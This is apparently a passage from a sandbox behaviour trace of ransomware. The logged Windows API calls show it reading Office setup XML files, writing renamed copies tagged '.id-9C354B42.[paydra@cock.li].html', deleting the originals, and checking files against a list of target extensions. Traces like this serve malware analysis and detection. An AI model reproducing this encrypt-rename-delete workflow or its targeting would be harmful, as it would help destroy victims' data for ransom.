liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.811] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.811] GetLastError () returned 0x0 [0040.811] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1915, lpOverlapped=0x0) returned 1 [0040.813] WriteFile (in: hFile=0x200, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0040.814] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.814] WriteFile (in: hFile=0x200, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xee, lpOverlapped=0x0) returned 1 [0040.814] SetEndOfFile (hFile=0x200) returned 1 [0040.814] CloseHandle (hObject=0x200) returned 1 [0040.814] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.814] SetEndOfFile (hFile=0x1e8) returned 1 [0040.815] CloseHandle (hObject=0x1e8) returned 1 [0040.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0040.815] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0040.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.816] lstrlenW (lpString=".doc") returned 4 [0040.816] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.816] lstrlenW (lpString=".docx") returned 5 [0040.816] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0040.816] lstrlenW (lpString=".pdf") returned 4 [0040.816] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.816] lstrlenW (lpString=".xls") returned 4 [0040.816] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.816] lstrlenW (lpString=".xlsx") returned 5 [0040.816] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0040.816] lstrlenW (lpString=".ppt") returned 4 [0040.816] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.816] lstrlenW (lpString=".zip") returned 4 [0040.816] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.816] lstrlenW (lpString=".rar") returned 4 [0040.816] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.816] lstrlenW (lpString=".bz2") returned 4 [0040.816] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.816] lstrlenW (lpString=".7z") returned 3 [0040.816] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.816] lstrlenW (lpString=".dbf") returned 4 [0040.816] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.817] lstrlenW (lpString=".1cd") returned 4 [0040.817] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.817] lstrlenW (lpString=".jpg") returned 4 [0040.817] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.817] lstrlenW (lpString=".doc") returned 4 [0040.817] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.817] lstrlenW (lpString=".docx") returned 5 [0040.817] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0040.817] lstrlenW (lpString=".pdf") returned 4 [0040.817] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.817] lstrlenW (lpString=".xls") returned 4 [0040.817] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.817] lstrlenW (lpString=".xlsx") returned 5 [0040.817] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0040.817] lstrlenW (lpString=".ppt") returned 4 [0040.817] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.817] lstrlenW (lpString=".zip") returned 4 [0040.817] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.817] lstrlenW (lpString=".rar") returned 4 [0040.817] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.817] lstrlenW (lpString=".bz2") returned 4 [0040.817] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.817] lstrlenW (lpString=".7z") returned 3 [0040.817] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.817] lstrlenW (lpString=".dbf") returned 4 [0040.817] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.817] lstrlenW (lpString=".1cd") returned 4 [0040.817] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.818] lstrlenW (lpString=".jpg") returned 4 [0040.818] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.818] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.818] lstrlenW (lpString="SETUP.XML") returned 9 [0040.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0041.243] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=16683) returned 1 [0041.243] CloseHandle (hObject=0x1c8) returned 1 [0041.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0041.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0041.244] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.244] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.244] GetLastError () returned 0x0 [0041.244] ReadFile (in: hFile=0x1c8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x412b, lpOverlapped=0x0) returned 1 [0041.394] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0041.395] ReadFile (in: hFile=0x1c8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.395] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.395] SetEndOfFile (hFile=0x19c) returned 1 [0041.396] CloseHandle (hObject=0x19c) returned 1 [0041.396] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.396] SetEndOfFile (hFile=0x1c8) returned 1 [0041.397] CloseHandle (hObject=0x1c8) returned 1 [0041.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.397] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.398] lstrlenW (lpString=".doc") returned 4 [0041.398] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.398] lstrlenW (lpString=".docx") returned 5 [0041.398] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.398] lstrlenW (lpString=".pdf") returned 4 [0041.398] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.398] lstrlenW (lpString=".xls") returned 4 [0041.398] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.398] lstrlenW (lpString=".xlsx") returned 5 [0041.398] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.398] lstrlenW (lpString=".ppt") returned 4 [0041.398] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.398] lstrlenW (lpString=".zip") returned 4 [0041.398] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.398] lstrlenW (lpString=".rar") returned 4 [0041.398] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.398] lstrlenW (lpString=".bz2") returned 4 [0041.398] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.398] lstrlenW (lpString=".7z") returned 3 [0041.398] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.398] lstrlenW (lpString=".dbf") returned 4 [0041.398] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.398] lstrlenW (lpString=".1cd") returned 4 [0041.398] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.398] lstrlenW (lpString=".jpg") returned 4 [0041.398] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.399] lstrlenW (lpString=".doc") returned 4 [0041.399] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.399] lstrlenW (lpString=".docx") returned 5 [0041.399] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.399] lstrlenW (lpString=".pdf") returned 4 [0041.399] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.399] lstrlenW (lpString=".xls") returned 4 [0041.399] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.399] lstrlenW (lpString=".xlsx") returned 5 [0041.399] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.399] lstrlenW (lpString=".ppt") returned 4 [0041.399] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.399] lstrlenW (lpString=".zip") returned 4 [0041.399] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.399] lstrlenW (lpString=".rar") returned 4 [0041.399] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.399] lstrlenW (lpString=".bz2") returned 4 [0041.399] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.399] lstrlenW (lpString=".7z") returned 3 [0041.399] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.399] lstrlenW (lpString=".dbf") returned 4 [0041.399] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.399] lstrlenW (lpString=".1cd") returned 4 [0041.399] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0041.399] lstrlenW (lpString=".jpg") returned 4 [0041.399] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.499] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.499] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0041.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.510] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=16852) returned 1 [0041.510] CloseHandle (hObject=0x1e8) returned 1 [0041.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0041.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.510] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.510] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.511] GetLastError () returned 0x0 [0041.511] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0041.512] WriteFile (in: hFile=0x188, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0041.514] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.514] WriteFile (in: hFile=0x188, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0041.514] SetEndOfFile (hFile=0x188) returned 1 [0041.514] CloseHandle (hObject=0x188) returned 1 [0041.515] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.515] SetEndOfFile (hFile=0x1e8) returned 1 [0041.515] CloseHandle (hObject=0x1e8) returned 1 [0041.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.516] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0041.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0041.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0041.516] lstrlenW (lpString=".doc") returned 4 [0041.516] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.516] lstrlenW (lpString=".docx") returned 5 [0041.516] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0041.516] lstrlenW (lpString=".pdf") returned 4 [0041.516] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.516] lstrlenW (lpString=".xls") returned 4 [0041.516] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.516] lstrlenW (lpString=".xlsx") returned 5 [0041.516] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0041.516] lstrlenW (lpString=".ppt") returned 4 [0041.516] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0041.516] lstrlenW (lpString=".zip") returned 4 [0041.516] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.516] lstrlenW (lpString=".rar") returned 4 [0041.517] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.517] lstrlenW (lpString=".bz2") returned 4 [0041.517] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.517] lstrlenW (lpString=".7z") returned 3 [0041.517] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0041.517] lstrlenW (lpString=".dbf") returned 4 [0041.517] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0041.517] lstrlenW (lpString=".1cd") returned 4 [0041.517] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0041.517] lstrlenW (lpString=".jpg") returned 4 [0041.517] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0041.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0041.517] lstrlenW (lpString=".doc") returned 4 [0041.517] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.517] lstrlenW (lpString=".docx") returned 5 [0041.517] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0041.517] lstrlenW (lpString=".pdf") returned 4 [0041.517] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.517] lstrlenW (lpString=".xls") returned 4 [0041.517] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.517] lstrlenW (lpString=".xlsx") returned 5 [0041.517] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0041.517] lstrlenW (lpString=".ppt") returned 4 [0041.517] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0041.517] lstrlenW (lpString=".zip") returned 4 [0041.517] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.517] lstrlenW (lpString=".rar") returned 4 [0041.517] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.518] lstrlenW (lpString=".bz2") returned 4 [0041.518] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.518] lstrlenW (lpString=".7z") returned 3 [0041.518] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0041.518] lstrlenW (lpString=".dbf") returned 4 [0041.518] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0041.518] lstrlenW (lpString=".1cd") returned 4 [0041.518] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0041.518] lstrlenW (lpString=".jpg") returned 4 [0041.518] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.518] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.518] lstrlenW (lpString="SETUP.XML") returned 9 [0041.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.519] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=6241) returned 1 [0041.519] CloseHandle 